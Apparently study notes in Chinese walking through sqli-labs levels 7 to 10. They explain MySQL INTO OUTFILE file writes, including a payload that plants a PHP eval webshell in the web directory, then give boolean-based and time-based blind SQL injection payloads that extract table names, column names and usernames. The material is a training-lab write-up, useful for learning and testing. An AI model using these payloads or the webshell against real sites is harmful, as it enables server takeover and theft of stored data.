Less7
本关的提示为outfile,那么通关语句应该为select xxx into outfile xxx
函数select xxx into outfile
select ... into outfile '文件路径\文件名'或者select ... into outfile '文件路径//文件名'
该语句能够把表数据导出到文本文件中,并且用load data file恢复数据
使用该函数的条件
1对应的权限
用户具有的权限可以通过查询参数secure_file_priv知道
当该参数的值为NULL时,禁止导入导出功能
当值为一个指定高低目录时,只能向指定的目录导入导出
当值为空时,说明对导入导出没有限制
2要知道路径
可以通过@@datadir回显得到(一般情况很难拿到,本关通过前几关可以获取路径)
3·没有对单引号” ‘ “进行过滤
该函数的路径不能用十六进制等方式(这里可以用到另一个函数dumpoutfile)
4·对web的目录具有读权限
payload:
?id=-1' union select 1,@@secure_file_priv,@@datadir%23 这里是在第一关拿到权限和路径 ?id=1')) union select 1,2,'<?php @eval($_POST['x'])?>' into outfile "文件路径\x.php"
这句话的意思是将我们的木马语句导出到指定目录下的x.php文件中,注意这里浏览器会报错,不过文件是能够写入的,我们直接通过网站路径去访问x.php并且传入参数x='注入语句'即可(也可以用webshell工具链接)
Less8
常规思路
1·判断注入点
?id=-1 发现网站回显异常,可能存在注入
2·判断干扰
?id=1' 发现报错,说明是'闭合
?id=1'%23 依然报错,可能有括号
?id=1')%23 报错,继续加括号
?id=1'))%23 回显成功
3·猜列数并判断回显
使用order by 和 union select函数,发现没有回显(ps:如果这里有回显直接常规注入)
4·报错注入
使用updatexml等函数进行报错注入,发现网站没有返回报错语句(本关的源码中将报错语句注释了)
5·布尔盲注或延时盲注
那么第九关和第十关就是布尔盲注和延时盲注的练习了
先介绍几个函数
length() 判断括号中数据的长度
sleep() 可以延迟网站回显的时间
substr(x,1,1) 截取数据x的第一个值,第一个1是说明从第一个值开始,第二个1是截取的值数
if(x,1,2) 如果函数x为真,返回1,为假,返回2
count() 统计数量
通过将上述函数组合即可得到payload
1· and length(database())=1 当数据库名的长度为1时网站回显正常,否则回显错误
2·and substr(database(),1,1)='s' 当数据库的第一个值为s时回显正常
3·select count(table_name) from information_shcema.tables where table_schema = database() 统计表的数量
1·判断数据库中表的数量
?id=1' and (select count(table_name) from information_schema.tables where table_schema = database())=4%23
2·判断每个表的长度
?id=1' and (select length(table_name) from information_schema.tables where table_schema =database() limit 0,1)=6%23
这里用limit来选择表,如用limit 2,1限定第三张表
3·判断每个表的表名
?id=1' and substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)='e'%23
事实上这里用ascii()函数将截取的值转换成ASCII码后再通过二分法可以快速查找到值(脚本思路)
4·判断表中的字段数(即列数)
payload和上述函数差不多
5·判断每个列的长度
6·判断每个列的列名
7·爆数据
?id=1' and (select length(username) from users where id=1)=4%23判断字段长度
?id=1' and substr((select username from users limit 0,1),1,1)="D"%23判断数据名
Less9
本关加入字符闭合以及正常注入回显一直正常
所以只能尝试延时注入,通过网站回显的时间判断
?id=1' and sleep(5)%23 发现网站回显时间延长了说明存在注入
注入语句
?Id=1' and if(语句,sleep(5),1)%23
?Id=1' and if(length(databse())=8,sleep(5),1)%23数据库名长度为8即延迟5秒返回
其它同第八关的思路
Less10
本关同样是回显没有任何改变,所以使用延时注入,只不过干扰为双引号